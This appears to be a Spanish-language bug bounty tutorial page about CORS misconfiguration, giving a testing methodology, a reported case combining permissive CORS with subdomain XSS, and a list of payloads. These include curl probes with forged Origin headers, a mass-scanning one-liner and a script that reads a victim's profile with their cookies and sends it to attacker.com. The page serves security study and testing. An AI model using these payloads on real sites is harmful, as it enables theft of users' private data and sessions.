Nuevos labs cada semana — Accede a todos desde 5€/mes

CORS Misconfiguration

Exfiltración de datos vía orígenes mal configurados

Respuesta rápida

¿Qué es CORS Misconfiguration?

Una mala configuración de CORS permite que sitios maliciosos lean respuestas de la API de la víctima usando las credenciales del navegador del usuario. Es especialmente peligroso cuando se combina con Allow-Credentials.

Severidad

Alto

Frecuencia

Común

Payloads

7

Pasos

5

Severidad

Alto

Frecuencia

Común

Payloads

7

CORS define qué orígenes pueden leer respuestas de una API. Si el servidor refleja cualquier Origin en Access-Control-Allow-Origin con Allow-Credentials: true, un atacante puede leer datos del usuario autenticado desde su propio dominio.

Exfiltración de datos del usuarioRobo de tokens/sesionesAcceso a APIs internasCSRF avanzado

Dónde buscar

Endpoints de API con datos sensibles

GET /api/me, /api/profile, /api/settings — cualquier endpoint que devuelva datos privados.

APIs con credenciales

Endpoints que requieren cookies o tokens de sesión para funcionar.

Subdominios con XSS

Si CORS permite *.target.com, un XSS en cualquier subdominio permite explotar la misconfig.

Metodología

1

Buscar headers CORS

Intercepta responses y busca Access-Control-Allow-Origin en endpoints de API.

2

Enviar Origin malicioso

curl -H 'Origin: https://evil.com' https://target.com/api/me — ¿se refleja?

3

Verificar Credentials

¿Access-Control-Allow-Credentials: true? Sin esto, las cookies no se envían y no es explotable.

4

Probar variaciones

Origin: null, Origin: http://target.com.evil.com, Origin: http://evil-target.com

5

Explotar

Si refleja + credentials → crear página que haga fetch() con credentials:include y envíe los datos a tu servidor.

Caso real

CORS reflect origin + XSS en subdominio → Account Takeover

$750
1

Detectar CORS permisivo

La API de /api/me refleja cualquier subdominio de target.com con Allow-Credentials: true.

2

Encontrar XSS en subdominio

XSS reflejado en blog.target.com/search?q=<script>...

3

Combinar

Desde blog.target.com (permitido por CORS), el XSS hace fetch a api.target.com/api/me con credentials.

4

Exfiltrar

Los datos del usuario (email, tokens) se envían al servidor del atacante.

Lección: CORS permisivo con subdominios + XSS en cualquier subdominio = exfiltración completa. Audita todos los subdominios cuando veas CORS con wildcard de subdominio.

Payloads

Test básico

curl -H 'Origin: https://evil.com' -v https://target.com/api/me

Origin null

curl -H 'Origin: null' -v https://target.com/api/me

Subdomain matching

curl -H 'Origin: https://target.com.evil.com' -v https://target.com/api/me

Regex bypass

curl -H 'Origin: https://evil-target.com' -v https://target.com/api/me

Payloads avanzados(requiere cuenta)

PoC HTML completo

<script>fetch('https://target.com/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))</script>

Recon masivo

subfinder -d target.com | httpx | parallel -j 50 curl -sk -H 'Origin: https://evil.com' -o /dev/null -D - {} | grep -i 'access-control'

Null origin vía sandbox

<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch(...)...</script>">

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

CORScanner

Escanea automáticamente misconfiguraciones de CORS.

python3 cors_scan.py -u https://target.com

Burp Suite

Filtrar respuestas que contienen headers CORS para análisis manual.

Proxy → buscar 'Access-Control-Allow-Origin' en responses

Tips

Sin Credentials = no explotable

Si no hay Allow-Credentials: true, las cookies no se envían y no puedes acceder a datos del usuario.

Busca XSS en subdominios

Si CORS permite *.target.com, un XSS en cualquier subdominio permite explotar la misconfig.

Origin: null es peligroso

Se puede enviar desde iframes con sandbox. Si la API acepta null → explotable.

Practica CORS Misconfiguration con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.